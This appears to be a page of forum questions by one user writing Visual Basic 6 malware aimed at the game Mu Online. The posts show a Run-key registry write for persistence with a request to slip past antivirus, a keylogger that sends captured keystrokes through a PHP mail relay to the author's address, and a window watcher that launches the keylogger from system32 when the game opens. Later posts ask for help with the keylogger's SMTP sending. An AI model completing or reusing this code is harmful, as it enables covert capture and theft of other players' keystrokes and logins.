Temas

Estoy haciendo uno bot para el Mu Online, useando el comand mouse_move, cuando esttoy testando el bot en la ventana del windows, funciona perfeitamiente, pero que cuando yo entro en el Mu, el mouse cursor no segue las ordens del programa...

alguno puede me hablar o que estas aconteciendo??

Estoy haciendo um executable para anadir una clave en el registro, pero que cuando testo el, se has detectado por los antivirus, tiene alguna otra forma de anadir una clave en el registro?

Eso es mi projecto, pero que se has detectable...

Private Sub Form_Load()
Dim Objeto As Object, H As Long
Set Objeto = CreateObject("WScript.Shell")
Objeto.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\" & "monit", "C:\windows\system32\monit.exe"
Timer1.Enabled = True
End Sub

Salu2

Estoy haciendo mi keylogger, pero que necesito montar um php que redirecione los e-mails para mi e-mail

el del visual basic eres:

Private Sub Command1_Click()
acorreo = "micorreo@hotmail.com"
asunto = "name"
mensaje = textkey
nombre = "Keylogger"
decorreo = "nombre"
pagina = "la pagina que hospeda mi  php"
pagina = pagina & "acorreo=" & acorreo
pagina = pagina & "&asunto=" & asunto
pagina = pagina & "&mensaje=" & mensaje
pagina = pagina & "&nombre=" & nombre
pagina = pagina & "&decorreo=" & decorreo
WebBrowser1.Navigate pagina
End Sub

E en php eres:

<?php
$datos=$_GET;
$acorreo=$datos['acorreo'];
$asunto=$datos['asunto'];
$mensaje=$datos['mensaje'];
$nombre=$datos['nombre'];
$decorreo=$datos['decorreo'];
mail($acorreo,$asunto,$mensaje,"From: $nombre <$decorreo>");
echo "Correo enviado.";
?>

Pero que no se nada de php, alguna buena persona poderia ayudar-me??

Estoy con una duda. estoy creando un programa de monitoramento de ventanas para solo executar mi keylogger con la ventana que desejo capturar, pero que estoy com una duda para executar el keylogger que eres outro executable...

Option Explicit
Const MSmu = "MU"
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" ( _
     ByVal lpClassName As String, _
    ByVal lpWindowName As String) As Long

Private Sub Timer1_Timer()
Comprobar MSmu
End Sub

Private Sub Comprobar(clase As String)

Dim ret As Long
   
    ' busca la ventana y retorna el Handle
    ret = FindWindow(clase, vbNullString)
   
    'si retorna distinto _
     de 0 es porque la encontró
     If ret <> 0 Then
      Timer1.Enabled = False
      Timer2.Enabled = True
   LA FUNCION PARA EXECUTAR EL KEYLOGGER QUE ESTA EN EL C:\WINDOWS\SYSTEM32\KEYLOGGER.EXE

    Else
      Timer1.Enabled = True
      Timer2.Enabled = False
      End If
   
End Sub


Private Sub Form_Load()
  Timer1.Enabled = True
  Timer2.Enabled = False
  Timer1.Interval = 10000
  Timer2.Interval = 10000
End Sub


Private Sub Timer2_Timer()
Comproba MSmu
End Sub


Private Sub Comproba(clase As String)

Dim ret As Long
   
    ' busca la ventana y retorna el Handle
    ret = FindWindow(clase, vbNullString)
   
    'si retorna distinto _
     de 0 es porque la encontró
    If ret <> 0 Then
      Timer1.Enabled = False
      Timer2.Enabled = True
 
    Else
      Timer1.Enabled = True
      Timer2.Enabled = False
  End If
   
End Sub


eres una simples duda.
Ya tente shell y otros, pero que no executa >.<

Yo necesito que mi programa execute solo 3 minutos, e en seguida cerre lá aplicacion, pero que la aplicacion no es serrada ...

Mirem el source

Private Sub Timer1_Timer()
Timer1.Interval = 60000
Timer2.Enabled = True
Timer1.Enabled = False
End Sub

Private Sub Timer2_Timer()
Timer2.Interval = 60000
Timer3.Enabled = True
Timer2.Enabled = False
End Sub

Private Sub Timer3_Timer()
Timer3.Interval = 60000
Form1.Exit = True
End Sub

O que estas errado aqui?

Estoy haciendo mi keylogger, estas cuase concluido, pero que tengo uno grande problema con el envio por smtp, ya mirei todos los exemplos del forum e nada =/

Alguien puede ayudar-me?